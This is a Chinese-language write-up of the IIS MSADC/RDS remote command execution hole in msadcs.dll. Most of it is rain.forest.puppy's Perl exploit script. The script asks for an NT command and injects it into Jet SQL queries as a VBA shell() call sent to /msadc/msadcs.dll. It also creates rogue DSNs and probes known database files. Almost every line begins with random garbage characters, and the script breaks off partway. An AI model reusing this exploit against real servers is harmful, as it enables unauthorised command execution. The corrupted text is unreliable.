IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
E"|4Y(G c DrebU 涉及程序:
^#):c` Microsoft NT server
==H$zmK P(SZ68 描述:
=1oNZKBP 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
!$g+F(:(c 3SBZ> 详细:
t0#[#I1+ 如果你没有时间读详细内容的话,就删除:
Y
e+Ay c:\Program Files\Common Files\System\Msadc\msadcs.dll
_Hd{sd#xX1 有关的安全问题就没有了。
,&YTj>
?W0(|9 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
e9^2,:wLB <8#ObdY! 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
@ 2_<,;$ 关于利用ODBC远程漏洞的描述,请参看:
X jE>k!=I Hwm?#6\5 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ~JuKV&&}K 1j\aH&)GH 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Fvxu>BK http://www.microsoft.com/security/bulletins/MS99-025faq.asp me\cLFw nMoWOP' 这里不再论述。
R<zG^m }Uf<ZXW 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
uO >x:*^8 cgj.e /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
fA^7^0![ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
4Z)DDz-}V cX
A t:m b>~RSO* #将下面这段保存为txt文件,然后: "perl -x 文件名"
nSY-?&l6P OK`Z@X_,bW #!perl
Jbp5'e
_ #
.h;Se # MSADC/RDS 'usage' (aka exploit) script
,vG<*|pn #
@ERu>nSP # by rain.forest.puppy
.}9FEn 8 #
(Q-I8Y8l8 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
\~X&o% y # beta test and find errors!
K@@9:T$ jxy1 use Socket; use Getopt::Std;
(3md:r<- getopts("e:vd:h:XR", \%args);
9.0WKcwg ZM~`Gd9K0E print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
o@dy:AR 3:|-#F*k{ if (!defined $args{h} && !defined $args{R}) {
7aQcP print qq~
z };ZxN Usage: msadc.pl -h <host> { -d <delay> -X -v }
?En7_X{C? -h <host> = host you want to scan (ip or domain)
[F|+(} -d <seconds> = delay between calls, default 1 second
d.pp3D9/ -X = dump Index Server path table, if available
):bu;3E -v = verbose
m{&w{3pQk -e = external dictionary file for step 5
fW~*6ln "g
`nsk Or a -R will resume a command session
Sl.o,W^ /R%^rz'w ~; exit;}
7C5pAb: 3cu9[~K $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
h#{T}[ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
;,0lUcV if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Lh 9S8EU if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
nC~fvyd<P $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
+5*vABvCu if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Tiprdvm< G&o64W;-s if (!defined $args{R}){ $ret = &has_msadc;
pGGV\zD^ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
RqGVp?
9d"5wx print "Please type the NT commandline you want to run (cmd /c assumed):\n"
&r:m&?!|VQ . "cmd /c ";
#` +]{4hR $in=<STDIN>; chomp $in;
g9qC{xd $command="cmd /c " . $in ;
q2!'==h2i %FlA":W if (defined $args{R}) {&load; exit;}
B+Q+0tw*i hb! ln7 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
E{gv,cUM &try_btcustmr;
=yh3Nd:u M;qb7Mu print "\nStep 2: Trying to make our own DSN...";
@,YlmX} &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
0l1.O2- h^d\xn9GT# print "\nStep 3: Trying known DSNs...";
7O461$4v &known_dsn;
"!a`ygqpT fqX~xp print "\nStep 4: Trying known .mdbs...";
&gWiu9WbS &known_mdb;
#7\b\~5 XSl!T/d if (defined $args{e}){
7(@(Hm print "\nStep 5: Trying dictionary of DSN names...";
~T&%
VvI &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
<p)Z/ 'g]=.K+@} print "Sorry Charley...maybe next time?\n";
6s5b$x exit;
?k::tNv0 5&G
5eA ##############################################################################
s@z{dmL 0`Gai2\1@ sub sendraw { # ripped and modded from whisker
NZ)b:~a sleep($delay); # it's a DoS on the server! At least on mine...
PnJ*Zea my ($pstr)=@_;
W[GQ[h socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
,,}sK die("Socket problems\n");
~xE=mg4le if(connect(S,pack "SnA4x8",2,80,$target)){
-HN%B?}. x select(S); $|=1;
k%^<}s@ print $pstr; my @in=<S>;
+
lP5XY{ select(STDOUT); close(S);
UE{,.s return @in;
}<.7 xz|V } else { die("Can't connect...\n"); }}
.
Jb?]n 9,w}Xe=C ##############################################################################
y 3IA ' }ymc5- sub make_header { # make the HTTP request
2@4x"F]U; my $msadc=<<EOT
QQT G9s POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
|&Au6 3 User-Agent: ACTIVEDATA
BL0|\&*1 Host: $ip
?LR"hZ> Content-Length: $clen
K`~BL=KI Connection: Keep-Alive
[\88@B=jXP 4uX,uEa ADCClientVersion:01.06
%
<^[j^j}o Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
D7M0NEY ^g-Fg>&M --!ADM!ROX!YOUR!WORLD!
W\'Nv/L Content-Type: application/x-varg
z2.*#xTZn Content-Length: $reqlen
Uld_X\;Q4 ([[)Ub$U EOT
sE-x"c ; $msadc=~s/\n/\r\n/g;
>kt~vJI return $msadc;}
>1m)%zt ?_8%h`z ##############################################################################
vJ~4D*(]l 4 |FRg sub make_req { # make the RDS request
_k6x=V;9g my ($switch, $p1, $p2)=@_;
Q^[e/U, my $req=""; my $t1, $t2, $query, $dsn;
nG!&u1* #"hJpyW 4V if ($switch==1){ # this is the btcustmr.mdb query
*Ao2j; $query="Select * from Customers where City=" . make_shell();
:jBZK=3F> $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
+:fqL $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Xg,0 /P~ |
A3U@>6 elsif ($switch==2){ # this is general make table query
Fq vQk $query="create table AZZ (B int, C varchar(10))";
'`9%'f) $dsn="$p1";}
f3/SO+Me} ;R/k2^uF elsif ($switch==3){ # this is general exploit table query
:!(YEF#} $query="select * from AZZ where C=" . make_shell();
P/C&R-{') $dsn="$p1";}
AQB1gzE fL(':W&n- elsif ($switch==4){ # attempt to hork file info from index server
".Lhte R? $query="select path from scope()";
wEBtre7 $dsn="Provider=MSIDXS;";}
.=>\Qq% /_$~rW elsif ($switch==5){ # bad query
O|HIO&M $query="select";
gsLr= $dsn="$p1";}
7bA4P* ,DexJ1 $t1= make_unicode($query);
cSY2#u|v $t2= make_unicode($dsn);
;[FW! $req = "\x02\x00\x03\x00";
0q:(-z\S4 $req.= "\x08\x00" . pack ("S1", length($t1));
}l,T~Pjb $req.= "\x00\x00" . $t1 ;
_7r qXkp% $req.= "\x08\x00" . pack ("S1", length($t2));
8]sTX9 $req.= "\x00\x00" . $t2 ;
mY$nI -P $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
gV<0Hj return $req;}
/d{glOk ^;0~6uBEJr ##############################################################################
\Ku9"x
jz|Wj sub make_shell { # this makes the shell() statement
AeNyZ[40T return "'|shell(\"$command\")|'";}
[>b
'}4 i!CKA}", ##############################################################################
,"P5D&,_ s$f+/Hs sub make_unicode { # quick little function to convert to unicode
80{#bb my ($in)=@_; my $out;
eNIkiJ$uS for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
E9yFREvQc return $out;}
B] A 5n8< ?D RFsA ##############################################################################
0MwG}|RC Fv?R\`52u sub rdo_success { # checks for RDO return success (this is kludge)
M[:O( my (@in) = @_; my $base=content_start(@in);
z5x,fQw6O if($in[$base]=~/multipart\/mixed/){
LVPt*S= / return 1 if( $in[$base+10]=~/^\x09\x00/ );}
el <<D return 0;}
844tXMtPB\ Ck ~V5 ##############################################################################
S[W9G)KWp (P
E#
Y( sub make_dsn { # this makes a DSN for us
o7_MMeQ4 my @drives=("c","d","e","f");
v YRt2({}Z print "\nMaking DSN: ";
y)?W-5zL foreach $drive (@drives) {
3e!3.$4M print "$drive: ";
j33P~H~ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
6MLN>)t "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
7h9 fQ&y . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
1R5\GKF6o $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
-4*'WzWr return 0 if $2 eq "404"; # not found/doesn't exist
"TBQNWZ if($2 eq "200") {
/RA1d<~$q foreach $line (@results) {
*_4n2<W$ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
4i+PiD:H } return 0;}
{V]Qwz)1 mV:RmA ##############################################################################
H6%!v1 u &xGfkCP.] sub verify_exists {
}}sRTW my ($page)=@_;
#a7Amh\nT my @results=sendraw("GET $page HTTP/1.0\n\n");
/ K_e;(Y_ return $results[0];}
@yU!sE: M5cOz|j/*R ##############################################################################
a'_MhJ zs
:f?,]|]+- sub try_btcustmr {
X] JpS my @drives=("c","d","e","f");
_e:5XQ my @dirs=("winnt","winnt35","winnt351","win","windows");
qrkRD*a p0[,$$pM foreach $dir (@dirs) {
E&iWtwkz print "$dir -> "; # fun status so you can see progress
RB lOTQjv foreach $drive (@drives) {
SCfkv|hO print "$drive: "; # ditto
dPH!
V6r $reqlen=length( make_req(1,$drive,$dir) ) - 28;
eZR8<Z% $reqlenlen=length( "$reqlen" );
0TuOY%+ $clen= 206 + $reqlenlen + $reqlen;
<iXS0k rx}ujjx my @results=sendraw(make_header() . make_req(1,$drive,$dir));
pU:C=hq4 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
E+^} B/"
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
qSpa4W[ aiR|.opIb ##############################################################################
"x:)$@ l$p_])x sub odbc_error {
U2[3S\@ my (@in)=@_; my $base;
Zeme`/aBb my $base = content_start(@in);
A5.'h< if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
q5I4'6NF $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Eis%)oE
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
H4y1Hpa, $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
HjUw[Yz+6 return $in[$base+4].$in[$base+5].$in[$base+6];}
ohc/.5Kl print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
_A)_K;cz print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Kc9mI>u H $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
t'=~"?T/o ](9{}DHV ##############################################################################
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